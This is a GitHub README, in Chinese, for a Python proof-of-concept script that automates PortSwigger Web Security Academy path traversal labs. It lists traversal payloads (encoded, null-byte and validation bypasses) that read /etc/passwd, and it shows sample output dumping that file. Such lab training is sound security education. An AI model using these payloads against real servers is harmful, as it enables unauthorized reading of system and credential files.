0xtonyr/Web-Security-Academy-path-traversal-exploit-POCs
GitHub: 0xtonyr/Web-Security-Academy-path-traversal-exploit-POCs
一个Python脚本,用于自动化利用PortSwigger Web安全学院中的路径遍历漏洞实验,演示多种绕过技术。
Stars: 0 | Forks: 0
## 路径遍历漏洞利用PoC - PortSwigger Web安全学院
本仓库包含一个Python 3脚本,用于利用PortSwigger Web安全学院[路径遍历模块](https://portswigger.net/web-security/file-path-traversal)中涵盖的路径遍历漏洞。
## 涵盖的实验
| 实验 | 技术 |
|-----|-----------|
| 1 | 简单情况 (`../../../etc/passwd`) |
| 2 | 绝对路径绕过 (`/etc/passwd`) |
| 3 | 序列剥离 — 非递归 (`....//....//`) |
| 4 | 序列剥离 — 双重URL编码 (`..%252f`) |
| 5 | 路径起始验证 (`/var/www/images/../../../`) |
| 6 | 文件扩展名验证绕过 — 空字节 (`%00.png`) |
## 安装说明
```
pip install -r requirements.txt
```
## 使用方法
**单个实验:**
```
python3 path-traversal.py --lab <1-6>
```
**尝试所有payload:**
```
python3 path-traversal.py --all
```
**示例:**
```
python3 path-traversal.py https://0ae3006003d254ce83aeaff4003a009d.web-security-academy.net/ --lab 1
[*] Connecting to target: https://0ae3006003d254ce83aeaff4003a009d.web-security-academy.net
[*] Session cookie collected. Starting exploit...
[+] Lab 1 exploited successfully! (Simple case)
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
```
## 参考资料
- https://portswigger.net/web-security/file-path-traversal
- https://portswigger.net/web-security/all-labs#path-traversal
标签:CISA项目, Gradle, PoC, PortSwigger, URL编码, Web安全, 安全实验室, 安全漏洞, 文件包含漏洞, 文件系统访问, 暴力破解, 漏洞测试, 空字节绕过, 编码绕过, 网络安全, 蓝队分析, 路径遍历, 逆向工具, 隐私保护